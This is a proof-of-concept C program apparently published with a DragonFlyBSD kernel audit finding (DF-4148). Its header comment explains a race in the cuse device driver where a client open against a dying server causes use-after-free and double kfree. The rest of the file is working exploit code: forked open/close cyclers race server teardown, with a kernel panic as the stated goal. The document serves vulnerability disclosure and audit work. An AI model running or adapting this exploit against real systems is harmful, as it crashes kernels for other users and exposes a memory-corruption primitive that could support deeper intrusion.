⬢ DragonFlyBSD Kernel Audit
DF-4148 / cuse_race.c
← back to finding ↓ download raw
/*
 * DF-4148 PoC - race: cuse client open() vs cuse server teardown
 *
 * cuse_client_open() (cuse.c:1497-1531) loads `pcsd = dev->si_drv1' unlocked,
 * then takes pcs->mtx and does pcs->refs++.  The final cuse_server_unref()
 * (cuse.c:685-732) decrements refs to 0 WITHOUT any re-check and tears down:
 *   - cuse_server_free_dev() NULLs si_drv1 and kfrees pcsd after an
 *     ASYNCHRONOUS destroy_dev() (DFly destroy_dev = lwkt_sendmsg,
 *     devfs_core.c:755-763 - the "destroy synchronously" comment in
 *     cuse.c:679 is wrong on DragonFly)
 *   - then kfree(pcs).
 * A client open that loads si_drv1 before the NULL write but increments
 * refs after the final decrement (0->1) proceeds on the dying server:
 * TAILQ_INSERT into freed pcs, and its error path (is_closing was set)
 * runs a SECOND full teardown via cuse_client_free -> cuse_server_unref
 * => double TAILQ_REMOVE from cuse_server_head, double kfree(pcsd)/kfree(pcs).
 *
 * This hammer races fast open/close cyclers against the server teardown.
 * Success criterion: kernel panic / guest death (check serial console).
 */
#include <sys/types.h>
#include <sys/param.h>
#include <sys/ioccom.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define	CUSE_ERR_NONE		0
enum { CUSE_CMD_NONE, CUSE_CMD_OPEN, CUSE_CMD_CLOSE, CUSE_CMD_READ,
       CUSE_CMD_WRITE, CUSE_CMD_IOCTL, CUSE_CMD_POLL, CUSE_CMD_SIGNAL,
       CUSE_CMD_SYNC, CUSE_CMD_MAX };
struct cuse_dev;
struct cuse_data_chunk { uintptr_t local_ptr, peer_ptr; unsigned long length; };
struct cuse_command {
	struct cuse_dev *dev; unsigned long fflags; uintptr_t per_file_handle;
	uintptr_t data_pointer; unsigned long argument, command;
};
struct cuse_create_dev {
	struct cuse_dev *dev; uid_t user_id; gid_t group_id; int permissions;
	char devname[80];
};
#define	CUSE_IOCTL_GET_COMMAND	_IOR('C', 0, struct cuse_command)
#define	CUSE_IOCTL_SYNC_COMMAND	_IOW('C', 3, int)
#define	CUSE_IOCTL_CREATE_DEV	_IOW('C', 8, struct cuse_create_dev)

#define NCYCLERS	6
#define PUMP_SECS	1

static volatile sig_atomic_t got_alrm;

static void
alrm_handler(int sig __unused)
{
	got_alrm = 1;
}

int
main(int argc, char **argv)
{
	int rounds = (argc > 1) ? atoi(argv[1]) : 50;
	int rnd, i;
	char devname[80];

	signal(SIGALRM, alrm_handler);

	for (rnd = 0; rnd < rounds; rnd++) {
		int fd = open("/dev/cuse", O_RDWR);
		struct cuse_create_dev cd;
		pid_t pid;
		int status;

		if (fd < 0) {
			printf("round %d: open /dev/cuse FAILED: %s "
			    "(guest may have died)\n", rnd, strerror(errno));
			fflush(stdout);
			return 2;
		}
		memset(&cd, 0, sizeof(cd));
		snprintf(cd.devname, sizeof(cd.devname), "cr%d", rnd);
		cd.permissions = 0666;
		if (ioctl(fd, CUSE_IOCTL_CREATE_DEV, &cd) != 0) {
			printf("round %d: CREATE_DEV: %s\n", rnd,
			    strerror(errno));
			fflush(stdout);
			return 2;
		}
		snprintf(devname, sizeof(devname), "/dev/cr%d", rnd);

		/* cyclers: tight open/close loops; MUST NOT keep /dev/cuse */
		for (i = 0; i < NCYCLERS; i++) {
			pid = fork();
			if (pid == 0) {
				long n = 0, ok = 0;
				int c;
				close(fd);		/* drop inherited cuse */
				for (;;) {
					c = open(devname, O_RDWR);
					if (c >= 0) {
						ok++;
						close(c);
					} else {
						/* dev gone or closing */
						if (errno == ENOENT ||
						    errno == ENXIO ||
						    errno == EINVAL)
							break;
					}
					n++;
					if (n > 8000000)
						break;
				}
				_exit(0);
			}
		}

		/* pumper: service commands until PUMP_SECS, then close cuse */
		pid = fork();
		if (pid == 0) {
			struct cuse_command cmd;
			int rv = CUSE_ERR_NONE;
			time_t t0 = time(NULL);

			alarm(PUMP_SECS);
			while (!got_alrm) {
				if (ioctl(fd, CUSE_IOCTL_GET_COMMAND,
					  &cmd) != 0)
					break;	/* EINTR/EIO/closing */
				(void)ioctl(fd, CUSE_IOCTL_SYNC_COMMAND, &rv);
				if (time(NULL) - t0 > PUMP_SECS + 4)
					break;
			}
			alarm(0);
			close(fd);		/* triggers cuse_server_free */
			_exit(0);
		}

		close(fd);			/* drop our file ref */
		usleep(60000);

		for (i = 0; i < NCYCLERS + 1; i++)
			wait(&status);

		/* sanity: guest still serving /dev/cuse */
		{
			int t = open("/dev/cuse", O_RDWR);
			if (t < 0) {
				printf("round %d: /dev/cuse broken: %s\n",
				    rnd, strerror(errno));
				fflush(stdout);
				return 2;
			}
			close(t);
		}
		if ((rnd % 10) == 9) {
			printf("round %d/%d ok\n", rnd + 1, rounds);
			fflush(stdout);
		}
	}
	printf("all %d rounds done, guest alive\n", rounds);
	return 0;
}